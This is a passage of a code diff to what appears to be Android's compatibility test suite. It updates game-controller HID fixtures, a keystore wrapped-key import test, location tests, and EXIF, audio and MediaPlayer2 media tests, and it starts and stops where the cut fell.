+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75,
+ 0xab, 0x99, 0xd6],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_START"},
+ {"action": "UP", "keycode": "BUTTON_START"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_PS",
+ "reports": [
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x01, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f,
+ 0x71, 0x0a, 0xdd],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_MODE"},
+ {"action": "UP", "keycode": "BUTTON_MODE"}
+ ]
}
+
]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_register.json b/tests/tests/hardware/res/raw/sony_dualshock4_register.json
index d91ed17..23aae6f 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_register.json
@@ -30,5 +30,13 @@
0x45, 0xb1, 0x02, 0x85, 0xa8, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xa9, 0x09, 0x45, 0xb1, 0x02, 0x85,
0xaa, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xab, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xac, 0x09, 0x45, 0xb1,
0x02, 0x85, 0xad, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb1, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb2, 0x09,
- 0x46, 0xb1, 0x02, 0x85, 0xb3, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb4, 0x09, 0x46, 0xb1, 0x02, 0xc0]
+ 0x46, 0xb1, 0x02, 0x85, 0xb3, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb4, 0x09, 0x46, 0xb1, 0x02, 0xc0],
+ "feature_reports": [
+ {
+ "id": 5,
+ "data": [0x05, 0x1e, 0x00, 0x05, 0x00, 0xe2, 0xff, 0xf2, 0x22, 0xbe, 0x22, 0x8d, 0x22, 0x4f,
+ 0xdd, 0x4d, 0xdd, 0x39, 0xdd, 0x1c, 0x02, 0x1c, 0x02, 0xe3, 0x1f, 0x8b, 0xdf, 0x8c, 0x1e,
+ 0xb4, 0xde, 0x30, 0x20, 0x71, 0xe0, 0x10, 0x00, 0xca, 0xfc, 0x64, 0x4d]
+ }
+ ]
}
diff --git a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
index eeb16b6..7a03aaf 100644
--- a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
@@ -65,7 +65,15 @@
import javax.crypto.spec.PSource;
import javax.crypto.spec.SecretKeySpec;
+import java.lang.Process;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.lang.InterruptedException;
+
public class ImportWrappedKeyTest extends AndroidTestCase {
+ private static final String TAG = "ImportWrappedKeyTest";
private static final String ALIAS = "my key";
private static final String WRAPPING_KEY_ALIAS = "my_favorite_wrapping_key";
@@ -117,6 +125,24 @@
assertEquals(new String(c.doFinal(encrypted)), "hello, world");
}
+ public void testKeyStore_ImportWrappedKeyWrappingKeyMissing() throws Exception {
+ final String EXPECTED_FAILURE = "Failed to import wrapped key. Keystore error code: 7";
+ String failureMessage = null;
+
+ try {
+ byte [] fakeWrappedKey = new byte[1];
+ importWrappedKey(fakeWrappedKey, WRAPPING_KEY_ALIAS + "_Missing");
+ } catch (KeyStoreException e) {
+ failureMessage = e.getMessage();
+ }
+
+ if (failureMessage == null) {
+ fail("Did not hit a failure but expected one");
+ }
+
+ assertEquals(failureMessage, EXPECTED_FAILURE);
+ }
+
public void testKeyStore_ImportWrappedKey_3DES() throws Exception {
if (!TestUtils.supports3DES()) {
return;
@@ -258,19 +284,23 @@
}
}
- public void importWrappedKey(byte[] wrappedKey) throws Exception {
+ public void importWrappedKey(byte[] wrappedKey, String wrappingKeyAlias) throws Exception {
KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null, null);
- AlgorithmParameterSpec spec = new KeyGenParameterSpec.Builder(WRAPPING_KEY_ALIAS,
+ AlgorithmParameterSpec spec = new KeyGenParameterSpec.Builder(wrappingKeyAlias,
KeyProperties.PURPOSE_WRAP_KEY)
.setDigests(KeyProperties.DIGEST_SHA1)
.build();
- Entry wrappedKeyEntry = new WrappedKeyEntry(wrappedKey, WRAPPING_KEY_ALIAS,
+ Entry wrappedKeyEntry = new WrappedKeyEntry(wrappedKey, wrappingKeyAlias,
"RSA/ECB/OAEPPadding", spec);
keyStore.setEntry(ALIAS, wrappedKeyEntry, null);
}
+ public void importWrappedKey(byte[] wrappedKey) throws Exception {
+ importWrappedKey(wrappedKey, WRAPPING_KEY_ALIAS);
+ }
+
public byte[] wrapKey(PublicKey publicKey, byte[] keyMaterial, byte[] mask,
DERSequence authorizationList)
throws Exception {
diff --git a/tests/tests/keystore/src/android/server/am/WindowManagerState.java b/tests/tests/keystore/src/android/server/am/WindowManagerState.java
index ec3e00c..b4a8e9e 100644
--- a/tests/tests/keystore/src/android/server/am/WindowManagerState.java
+++ b/tests/tests/keystore/src/android/server/am/WindowManagerState.java
@@ -339,7 +339,6 @@
static class WindowTask extends WindowContainer {
int mTaskId;
- Rect mTempInsetBounds;
List<String> mAppTokens = new ArrayList<>();
WindowTask(TaskProto proto) {
@@ -358,7 +357,6 @@
mSubWindows.addAll(window.getWindows());
}
}
- mTempInsetBounds = extract(proto.tempInsetBounds);
}
}
diff --git a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java b/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
index af5e943..99c4067 100644
--- a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
@@ -42,6 +42,7 @@
private static final String TAG = "GpsNavMsgTest";
private static final int EVENTS_COUNT = 5;
private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
+ private TestLocationListener mLocationListener;
@Override
protected void setUp() throws Exception {
@@ -51,6 +52,10 @@
@Override
protected void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListener != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListener);
+ }
// Unregister GnssNavigationMessageListener
if (mTestGnssNavigationMessageListener != null) {
mTestLocationManager
@@ -73,6 +78,9 @@
return;
}
+ mLocationListener = new TestLocationListener(EVENTS_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
// Register Gps Navigation Message Listener.
mTestGnssNavigationMessageListener =
new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
diff --git a/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java b/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
index 96c41aa..aab7c15 100644
--- a/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
+++ b/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
@@ -266,9 +266,6 @@
addTestProvider(LocationManager.NETWORK_PROVIDER, Criteria.ACCURACY_COARSE, true, false, true);
addTestProvider(LocationManager.GPS_PROVIDER, Criteria.ACCURACY_FINE, false, true, false);
- // Unknown command
- assertFalse(mManager.sendExtraCommand(LocationManager.NETWORK_PROVIDER, "unknown", new Bundle()));
-
try {
mManager.sendExtraCommand(LocationManager.GPS_PROVIDER, "unknown", new Bundle());
fail("Should have failed to send a command to the gps provider");
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index 3a641f7..1adfc35 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -7,3 +7,4 @@
wjia@google.com
jtinker@google.com
dwkang@google.com
+jmtrivi@google.com
diff --git a/tests/tests/media/libmediandkjni/native-media-jni.cpp b/tests/tests/media/libmediandkjni/native-media-jni.cpp
index 3166d84..9a2a9df 100644
--- a/tests/tests/media/libmediandkjni/native-media-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-media-jni.cpp
@@ -839,10 +839,10 @@
return false;
}
- AMediaFormat_setInt64(format, AMEDIAFORMAT_KEY_DURATION, 123456789123456789ll);
+ AMediaFormat_setInt64(format, AMEDIAFORMAT_KEY_DURATION, 123456789123456789LL);
int64_t duration = 0;
if (!AMediaFormat_getInt64(format, AMEDIAFORMAT_KEY_DURATION, &duration)
- || duration != 123456789123456789ll) {
+ || duration != 123456789123456789LL) {
ALOGE("AMediaFormat_getInt64 fail: %lld", (long long) duration);
return false;
}
diff --git a/tests/tests/media/res/values/exifinterface.xml b/tests/tests/media/res/values/exifinterface.xml
index 23fbb93..3ab9364 100644
--- a/tests/tests/media/res/values/exifinterface.xml
+++ b/tests/tests/media/res/values/exifinterface.xml
@@ -17,10 +17,14 @@
<resources>
<array name="exifbyteorderii_jpg">
<item>true</item>
+ <item>3500</item>
+ <item>6265</item>
<item>512</item>
<item>288</item>
<item>true</item>
<item>false</item>
+ <item />
+ <item />
<item>0.0</item>
<item>0.0</item>
<item>0.0</item>
@@ -48,10 +52,14 @@
</array>
<array name="exifbyteordermm_jpg">
<item>false</item>
+ <item />
+ <item />
<item>0</item>
<item>0</item>
<item>false</item>
<item>true</item>
+ <item>572</item>
+ <item>24</item>
<item>0.0</item>
<item>0.0</item>
<item>0.0</item>
@@ -79,10 +87,14 @@
</array>
<array name="lg_g4_iso_800_dng">
<item>true</item>
+ <item>0</item>
+ <item>15179</item>
<item>256</item>
<item>144</item>
<item>true</item>
<item>true</item>
+ <item>12486</item>
+ <item>24</item>
<item>53.834507</item>
<item>10.69585</item>
<item>0.0</item>
@@ -110,10 +122,14 @@
</array>
<array name="volantis_jpg">
<item>false</item>
+ <item />
+ <item />
<item>0</item>
<item>0</item>
<item>false</item>
<item>true</item>
+ <item>3143</item>
+ <item>24</item>
<item>37.423</item>
<item>-122.162</item>
<item>0.0</item>
@@ -141,10 +157,14 @@
</array>
<array name="sony_rx_100_arw">
<item>true</item>
+ <item>32176</item>
+ <item>7423</item>
<item>160</item>
<item>120</item>
<item>true</item>
<item>false</item>
+ <item />
+ <item />
<item>0.0</item>
<item>0.0</item>
<item>0.0</item>
@@ -172,10 +192,14 @@
</array>
<array name="canon_g7x_cr2">
<item>true</item>
+ <item>22528</item>
+ <item>14161</item>
<item>160</item>
<item>120</item>
<item>true</item>
<item>false</item>
+ <item />
+ <item />
<item>0.0</item>
<item>0.0</item>
<item>0.0</item>
@@ -203,10 +227,14 @@
</array>
<array name="fuji_x20_raf">
<item>true</item>
+ <item>2080</item>
+ <item>9352</item>
<item>160</item>
<item>120</item>
<item>true</item>
<item>false</item>
+ <item />
+ <item />
<item>0.0</item>
<item>0.0</item>
<item>0.0</item>
@@ -234,10 +262,14 @@
</array>
<array name="nikon_1aw1_nef">
<item>true</item>
+ <item>0</item>
+ <item>57600</item>
<item>160</item>
<item>120</item>
<item>false</item>
<item>true</item>
+ <item>962700</item>
+ <item>24</item>
<item>53.83652</item>
<item>10.69828</item>
<item>0.0</item>
@@ -265,10 +297,14 @@
</array>
<array name="nikon_p330_nrw">
<item>true</item>
+ <item>32791</item>
+ <item>4875</item>
<item>160</item>
<item>120</item>
<item>true</item>
<item>true</item>
+ <item>1620</item>
+ <item>24</item>
<item>0.0</item>
<item>0.0</item>
<item>0.0</item>
@@ -296,10 +332,14 @@
</array>
<array name="pentax_k5_pef">
<item>true</item>
+ <item>103520</item>
+ <item>6532</item>
<item>160</item>
<item>120</item>
<item>true</item>
<item>false</item>
+ <item />
+ <item />
<item>0.0</item>
<item>0.0</item>
<item>0.0</item>
@@ -327,10 +367,14 @@
</array>
<array name="olympus_e_pl3_orf">
<item>true</item>
+ <item>19264</item>
+ <item>3698</item>
<item>160</item>
<item>120</item>
<item>true</item>
<item>false</item>
+ <item />
+ <item />
<item>0.0</item>
<item>0.0</item>
<item>0.0</item>
@@ -358,10 +402,14 @@
</array>
<array name="panasonic_gm5_rw2">
<item>true</item>
+ <item>18944</item>
+ <item>6435</item>
<item>160</item>
<item>120</item>
<item>true</item>
<item>false</item>
+ <item />
+ <item />
<item>0.0</item>
<item>0.0</item>
<item>0.0</item>
@@ -389,10 +437,14 @@
</array>
<array name="samsung_nx3000_srw">
<item>true</item>
+ <item>317560</item>
+ <item>3059</item>
<item>160</item>
<item>120</item>
<item>true</item>
<item>false</item>
+ <item />
+ <item />
<item>0.0</item>
<item>0.0</item>
<item>0.0</item>
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
index e37f64e..221dcfa 100644
--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
@@ -54,6 +54,10 @@
TEST_CONF_POS, copiedFormat.getChannelMask());
assertEquals("New AudioFormat has wrong channel index mask",
TEST_CONF_IDX, copiedFormat.getChannelIndexMask());
+ assertEquals("New AudioFormat has wrong channel count",
+ 6, copiedFormat.getChannelCount());
+ assertEquals("New AudioFormat has the wrong frame size",
+ 6 /* channels */ * 2 /* bytes per sample */, copiedFormat.getFrameSizeInBytes());
}
// Test case 2: Use Builder to duplicate an AudioFormat with only encoding supplied
@@ -169,4 +173,25 @@
assertEquals("Source and destination AudioFormat not equal",
formatToMarshall, unmarshalledFormat);
}
+
+ // Test case 7: Check frame size for compressed, float formats.
+ public void testFrameSize() throws Exception {
+ final AudioFormat formatMp3 = new AudioFormat.Builder()
+ .setEncoding(AudioFormat.ENCODING_MP3)
+ .setSampleRate(44100)
+ .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+ .build();
+
+ assertEquals("MP3 AudioFormat has the wrong frame size",
+ 1, formatMp3.getFrameSizeInBytes());
+
+ final AudioFormat formatPcmFloat = new AudioFormat.Builder()
+ .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+ .setSampleRate(192000)
+ .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+ .build();
+
+ assertEquals("Float AudioFormat has the wrong frame size",
+ 2 /* channels */ * 4 /* bytes per sample */, formatPcmFloat.getFrameSizeInBytes());
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 4c46420..d59d689 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -194,29 +194,6 @@
}
}
- // helper class to simplify that abstracts out the handling of spurious wakeups in Object.wait()
- private static final class SafeWaitObject {
- private boolean mQuit = false;
-
- public void safeNotify() {
- synchronized (this) {
- mQuit = true;
- this.notify();
- }
- }
-
- public void safeWait(long millis) throws InterruptedException {
- final long timeOutTime = java.lang.System.currentTimeMillis() + millis;
- synchronized (this) {
- while (!mQuit) {
- final long timeToWait = timeOutTime - java.lang.System.currentTimeMillis();
- if (timeToWait < 0) { break; }
- this.wait(timeToWait);
- }
- }
- }
- }
-
private static final class MyBlockingIntentReceiver extends BroadcastReceiver {
private final SafeWaitObject mLock = new SafeWaitObject();
// state protected by mLock
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index 84df6df..0a87f31 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -33,7 +33,9 @@
public class AudioTrackOffloadTest extends CtsAndroidTestCase {
private static final String TAG = "AudioTrackOffloadTest";
- private static final int MP3_BUFF_SIZE = 192 * 1024 * 5 / 8; // 5s for 192kbps MP3
+ private static final int MP3_BUFF_SIZE = 192 * 1024 * 3 / 8; // 3s for 192kbps MP3
+
+ private static final int PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
public void testIsOffloadSupportedNullFormat() throws Exception {
@@ -107,13 +109,17 @@
}
try {
Thread.sleep(1 * 1000);
- track.stop();
- Thread.sleep(5 * 1000);
+ synchronized(mPresEndLock) {
+ track.stop();
+ mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS);
+ }
} catch (InterruptedException e) { fail("Error while sleeping"); }
synchronized (mEventCallbackLock) {
- assertTrue("onDataRequest not called",mCallback.mDataRequestCount > 0);
- // we are 6s after less than 5s of data was supplied, presentation should have
- // ended
+ assertTrue("onDataRequest not called", mCallback.mDataRequestCount > 0);
+ }
+ synchronized (mPresEndLock) {
+ // we are at most PRESENTATION_END_TIMEOUT_MS + 1s after about 3s of data was
+ // supplied, presentation should have ended
assertEquals("onPresentationEnded not called one time",
1, mCallback.mPresentationEndedCount);
}
@@ -136,13 +142,14 @@
};
private final Object mEventCallbackLock = new Object();
+ private final SafeWaitObject mPresEndLock = new SafeWaitObject();
private EventCallback mCallback = new EventCallback();
private class EventCallback extends AudioTrack.StreamEventCallback {
@GuardedBy("mEventCallbackLock")
int mTearDownCount;
- @GuardedBy("mEventCallbackLock")
+ @GuardedBy("mPresEndLock")
int mPresentationEndedCount;
@GuardedBy("mEventCallbackLock")
int mDataRequestCount;
@@ -157,9 +164,10 @@
@Override
public void onPresentationEnded(AudioTrack track) {
- synchronized (mEventCallbackLock) {
+ synchronized (mPresEndLock) {
Log.i(TAG, "onPresentationEnded");
mPresentationEndedCount++;
+ mPresEndLock.safeNotify();
}
}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index ab3ea0a..762bc44 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -2535,6 +2535,26 @@
assertEquals(AudioTrack.ERROR, track.setPresentation(createAudioPresentation()));
}
+ public void testIsDirectPlaybackSupported() throws Exception {
+ // constants for test
+ final String TEST_NAME = "testIsDirectPlaybackSupported";
+ // Default format leaves everything unspecified
+ assertFalse(AudioTrack.isDirectPlaybackSupported(
+ new AudioFormat.Builder().build(),
+ new AudioAttributes.Builder().build()));
+ // There is no requirement to support direct playback for this format,
+ // so it's not possible to assert on the result, but at least the method
+ // must execute with no exceptions.
+ boolean isPcmStereo48kSupported = AudioTrack.isDirectPlaybackSupported(
+ new AudioFormat.Builder()
+ .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+ .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+ .setSampleRate(48000)
+ .build(),
+ new AudioAttributes.Builder().build());
+ log(TEST_NAME, "PCM Stereo 48 kHz: " + isPcmStereo48kSupported);
+ }
+
/* Do not run in JB-MR1. will be re-opened in the next platform release.
public void testResourceLeakage() throws Exception {
final int BUFFER_SIZE = 600 * 1024;
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index f75a6fd..39bb458 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -39,6 +39,7 @@
import java.io.InputStream;
import java.io.IOException;
import java.lang.reflect.Type;
+import java.util.Arrays;
import libcore.io.IoUtils;
import libcore.io.Streams;
@@ -99,10 +100,14 @@
public final int thumbnailWidth;
public final int thumbnailHeight;
public final boolean isThumbnailCompressed;
+ public final int thumbnailOffset;
+ public final int thumbnailLength;
// GPS information.
public final boolean hasLatLong;
public final float latitude;
+ public final int latitudeOffset;
+ public final int latitudeLength;
public final float longitude;
public final float altitude;
@@ -142,12 +147,16 @@
// Reads thumbnail information.
hasThumbnail = typedArray.getBoolean(index++, false);
+ thumbnailOffset = typedArray.getInt(index++, -1);
+ thumbnailLength = typedArray.getInt(index++, -1);
thumbnailWidth = typedArray.getInt(index++, 0);
thumbnailHeight = typedArray.getInt(index++, 0);
isThumbnailCompressed = typedArray.getBoolean(index++, false);
// Reads GPS information.
hasLatLong = typedArray.getBoolean(index++, false);
+ latitudeOffset = typedArray.getInt(index++, -1);
+ latitudeLength = typedArray.getInt(index++, -1);
latitude = typedArray.getFloat(index++, 0f);
longitude = typedArray.getFloat(index++, 0f);
altitude = typedArray.getFloat(index++, 0f);
@@ -251,6 +260,9 @@
// Checks a thumbnail image.
assertEquals(expectedValue.hasThumbnail, exifInterface.hasThumbnail());
if (expectedValue.hasThumbnail) {
+ final long[] thumbnailRange = exifInterface.getThumbnailRange();
+ assertEquals(expectedValue.thumbnailOffset, thumbnailRange[0]);
+ assertEquals(expectedValue.thumbnailLength, thumbnailRange[1]);
byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
assertNotNull(thumbnailBytes);
Bitmap thumbnailBitmap = exifInterface.getThumbnailBitmap();
@@ -267,8 +279,17 @@
float[] latLong = new float[2];
assertEquals(expectedValue.hasLatLong, exifInterface.getLatLong(latLong));
if (expectedValue.hasLatLong) {
+ final long[] latitudeRange = exifInterface
+ .getAttributeRange(ExifInterface.TAG_GPS_LATITUDE);
+ assertEquals(expectedValue.latitudeOffset, latitudeRange[0]);
+ assertEquals(expectedValue.latitudeLength, latitudeRange[1]);
assertEquals(expectedValue.latitude, latLong[0], DIFFERENCE_TOLERANCE);
assertEquals(expectedValue.longitude, latLong[1], DIFFERENCE_TOLERANCE);
+ assertTrue(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LATITUDE));
+ assertTrue(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LONGITUDE));
+ } else {
+ assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LATITUDE));
+ assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LONGITUDE));
}
assertEquals(expectedValue.altitude, exifInterface.getAltitude(.0), DIFFERENCE_TOLERANCE);
@@ -311,6 +332,10 @@
assertNotNull(exifInterface);
compareWithExpectedValue(exifInterface, expectedValue, verboseTag);
+ // Creates via file.
+ exifInterface = new ExifInterface(imageFile);
+ compareWithExpectedValue(exifInterface, expectedValue, verboseTag);
+
InputStream in = null;
// Creates via InputStream.
try {
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
index b81cc8b..a4401221 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
@@ -30,7 +30,7 @@
import android.media.FileDataSourceDesc;
import android.media.UriDataSourceDesc;
import android.media.MediaCodec;
-import android.media.Media2DataSource;
+import android.media.DataSourceCallback;
import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.media.MediaMetadataRetriever;
@@ -52,6 +52,7 @@
import android.os.PowerManager;
import android.os.ServiceManager;
import android.os.SystemClock;
+import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.AppModeFull;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
@@ -142,8 +143,10 @@
MediaPlayer2 mp2 = mPlayer2;
AssetFileDescriptor afd2 = mResources.openRawResourceFd(R.raw.testmp3_2);
mp2.setDataSource(new FileDataSourceDesc.Builder()
- .setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd2.getFileDescriptor()),
+ afd2.getStartOffset(), afd2.getLength())
.build());
+ afd2.close();
Monitor onPrepareCalled = new Monitor();
Monitor onErrorCalled = new Monitor();
MediaPlayer2.EventCallback ecb = new MediaPlayer2.EventCallback() {
@@ -162,7 +165,6 @@
mp2.registerEventCallback(mExecutor, ecb);
mp2.prepare();
onPrepareCalled.waitForSignal();
- afd2.close();
mp2.unregisterEventCallback(ecb);
mp2.loopCurrent(true);
@@ -172,14 +174,14 @@
try {
AssetFileDescriptor afd = mResources.openRawResourceFd(R.raw.bug13652927);
mp.setDataSource(new FileDataSourceDesc.Builder()
- .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(),
- afd.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+ afd.getStartOffset(), afd.getLength())
.build());
+ afd.close();
mp.registerEventCallback(mExecutor, ecb);
onPrepareCalled.reset();
mp.prepare();
onErrorCalled.waitForSignal();
- afd.close();
} catch (Exception e) {
// expected to fail
Log.i("@@@", "failed: " + e);
@@ -258,7 +260,11 @@
.setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
.build();
mp.setAudioAttributes(attributes);
- mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ PowerManager.WakeLock wakeLock =
+ pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+ "MediaPlayer2Test");
+ mp.setWakeLock(wakeLock);
assertFalse(mp.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
onPlayCalled.reset();
@@ -354,7 +360,11 @@
.setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
.build();
mp.setAudioAttributes(attributes);
- mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ PowerManager.WakeLock wakeLock =
+ pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+ "MediaPlayer2Test");
+ mp.setWakeLock(wakeLock);
assertFalse(mp.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
onPlayCalled.reset();
@@ -391,14 +401,15 @@
mp.reset();
AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
mp.setDataSource(new FileDataSourceDesc.Builder()
- .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+ afd.getStartOffset(), afd.getLength())
.build());
+ afd.close();
mp.registerEventCallback(mExecutor, ecb);
onPrepareCalled.reset();
mp.prepare();
onPrepareCalled.waitForSignal();
- afd.close();
assertFalse(mp.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
onPlayCalled.reset();
@@ -444,7 +455,12 @@
.setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
.build();
mp.setAudioAttributes(attributes);
- mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ PowerManager.WakeLock wakeLock =
+ pm.newWakeLock(
+ PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+ "MediaPlayer2Test");
+ mp.setWakeLock(wakeLock);
assertFalse(mp.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
onPlayCalled.reset();
@@ -483,7 +499,12 @@
.setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
.build();
mp.setAudioAttributes(attributes);
- mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
